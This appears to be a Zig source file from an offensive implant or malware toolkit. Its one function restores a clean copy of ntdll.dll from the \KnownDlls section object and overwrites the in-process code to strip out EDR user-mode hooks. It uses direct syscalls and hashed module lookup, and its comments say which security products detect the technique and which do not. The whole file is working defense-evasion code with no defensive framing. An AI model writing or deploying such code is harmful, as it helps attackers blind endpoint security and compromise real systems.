const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");
const resolve = @import("resolve.zig");
const pe = @import("pe.zig");

var g_unhooked: bool = false;

// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
pub fn unhookNtdll() void {
    if (g_unhooked) return;
    g_unhooked = true;

    const ntdll_hash = resolve.hash_ror13("ntdll.dll");
    const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
    const our_bytes: [*]u8 = @ptrCast(our_base);

    const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes));
    if (dos.e_magic != 0x5A4D) return;

    const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
        our_bytes + @as(usize, @intCast(dos.e_lfanew)),
    ));
    if (nt_hdrs.Signature != 0x00004550) return;

    var text_va: usize = 0;
    var text_size: usize = 0;
    const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
    const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off));
    for (0..nt_hdrs.FileHeader.NumberOfSections) |i| {
        if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
            text_va = sections[i].VirtualAddress;
            text_size = sections[i].VirtualSize;
            break;
        }
    }
    if (text_va == 0 or text_size == 0) return;

    const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
    var us: nt.UNICODE_STRING = .{
        .Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16),
        .MaximumLength = @sizeOf(@TypeOf(name)),
        .Buffer = @ptrCast(@constCast(&name)),
    };
    var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
    oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
    oa.ObjectName = &us;
    oa.Attributes = nt.OBJ_CASE_INSENSITIVE;

    var section_handle: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_open_section(&section_handle, nt.SECTION_MAP_READ, &oa)))
        return;
    defer _ = syscall.nt_close(section_handle);

    var view_base: ?*anyopaque = null;
    var view_size: windows.SIZE_T = 0;
    _ = syscall.nt_map_view_of_section(
        section_handle,
        syscall.nt_current_process(),
        &view_base,
        0,
        0,
        null,
        &view_size,
        2,
        0,
        nt.PAGE_READONLY,
    );

    if (view_base != null and view_size >= text_size) {
        const clean_base: [*]const u8 = @ptrCast(view_base);
        const our_text = our_bytes[text_va .. text_va + text_size];

        var region_size: windows.SIZE_T = text_size;
        var old_prot: windows.DWORD = 0;
        var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
        if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory(
            syscall.nt_current_process(),
            &base_ptr,
            &region_size,
            nt.PAGE_READWRITE,
            &old_prot,
        ))) return;

        @memcpy(our_text, clean_base[0..text_size]);

        base_ptr = @ptrCast(&our_bytes[text_va]);
        region_size = text_size;
        _ = syscall.nt_protect_virtual_memory(
            syscall.nt_current_process(),
            &base_ptr,
            &region_size,
            nt.PAGE_EXECUTE_READ,
            &old_prot,
        );
    }

    if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
}